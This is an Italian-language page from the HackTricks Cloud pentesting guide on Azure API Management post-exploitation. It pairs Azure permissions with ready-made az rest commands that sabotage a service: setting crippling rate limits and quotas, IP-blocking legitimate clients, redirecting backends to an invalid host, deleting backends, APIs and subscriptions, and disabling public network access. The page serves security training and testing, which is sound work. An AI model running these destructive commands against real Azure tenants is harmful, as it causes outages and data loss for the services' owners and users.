Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md

4.1 KiB

Azure - API Management Post-Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Microsoft.ApiManagement/service/apis/policies/write or Microsoft.ApiManagement/service/policies/write

L'attaccante può usare molteplici vettori per causare un denial of service. Per bloccare il traffico legittimo, l'attaccante aggiunge rate-limiting e quota policies con valori estremamente bassi, impedendo di fatto l'accesso normale:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'

Per bloccare specifici indirizzi IP di client legittimi, l'attaccante può aggiungere policy di filtraggio IP che rifiutano le richieste provenienti da indirizzi selezionati:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'

Microsoft.ApiManagement/service/backends/write o Microsoft.ApiManagement/service/backends/delete

Per far fallire le richieste, l'attaccante può modificare la configurazione del backend e cambiare il suo URL in un indirizzo non valido o non raggiungibile:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://invalid-backend-that-does-not-exist.com",
"protocol": "http"
}
}'

Oppure eliminare i backend:

az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"

Microsoft.ApiManagement/service/apis/delete

Per rendere le API critiche non disponibili, l'attaccante può eliminarle direttamente dal servizio API Management:

az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"

Microsoft.ApiManagement/service/write or Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action

Per bloccare l'accesso da Internet, l'attaccante può disabilitare l'accesso pubblico alla rete sul servizio API Management:

az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Disabled"
}
}'

Microsoft.ApiManagement/service/subscriptions/delete

Per bloccare l'accesso degli utenti legittimi, l'attaccante può eliminare le sottoscrizioni di API Management:

az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
--headers "If-Match=*"

{{#include ../../../banners/hacktricks-training.md}}